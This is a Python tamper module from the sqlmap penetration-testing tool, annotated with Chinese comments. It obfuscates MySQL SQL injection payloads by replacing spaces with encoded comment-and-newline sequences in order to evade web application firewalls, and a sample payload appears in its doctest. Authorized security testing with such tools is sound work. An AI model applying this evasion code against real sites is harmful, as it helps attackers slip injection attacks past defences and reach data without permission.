#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os
import random
import string

from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

# 定义一个函数，用于检查脚本依赖
def dependencies():
    # 输出警告信息，提示脚本只能运行在MySQL数据库上
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    """
    Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')

    Requirement:
        * MySQL

    Tested against:
        * MySQL 4.0, 5.0

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> random.seed(0)
    >>> tamper('1 AND 9227=9227')
    '1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227'
    """

    retVal = ""

    # 如果payload不为空
    if payload:
        # 遍历payload的每个字符
        for i in xrange(len(payload)):
            # 如果字符是空格
            if payload[i].isspace():
                # 生成一个随机字符串
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
                # 将随机字符串添加到retVal中
                retVal += "%%23%s%%0A" % randomStr
            # 如果字符是#或者字符是--
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                # 将payload的剩余部分添加到retVal中
                retVal += payload[i:]
                # 跳出循环
                break
            # 否则
            else:
                # 将字符添加到retVal中
                retVal += payload[i]

    # 返回retVal
    return retVal
